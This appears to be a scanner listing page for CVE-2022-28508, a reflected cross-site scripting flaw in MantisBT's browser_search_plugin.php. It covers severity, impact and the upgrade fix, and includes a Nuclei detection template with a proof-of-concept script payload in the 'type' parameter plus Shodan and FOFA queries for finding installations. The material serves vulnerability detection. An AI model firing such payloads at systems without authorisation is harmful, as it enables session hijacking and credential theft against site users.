MantisBT < 2.25.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the 'type' parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks.

Fix

Upgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint.

How to confirm it

Send: GET {{BaseURL}}/browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt>
Positive when: contains "<script>alert(document.domain)</script>" and "<ShortName>" AND contains in content_type "application/opensearchdescription" AND status 200

Run it with nuclei: nuclei -id CVE-2022-28508 -u <target>

The full check

id: CVE-2022-28508

info:
  name: MantisBT < 2.25.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the 'type' parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks.
  remediation: |
    Upgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint.
  reference:
    - https://github.com/YavuzSahbaz/CVE-2022-28508/blob/main/MantisBT%202.25.2%20XSS%20vulnurability
    - https://www.mantisbt.org/bugs/changelog_page.php
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28508
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28508
    cwe-id: CWE-79
    epss-score: 0.0517
    epss-percentile: 0.92513
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2022,mantisbt,xss,opensearch,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<ShortName>"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/opensearchdescription"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from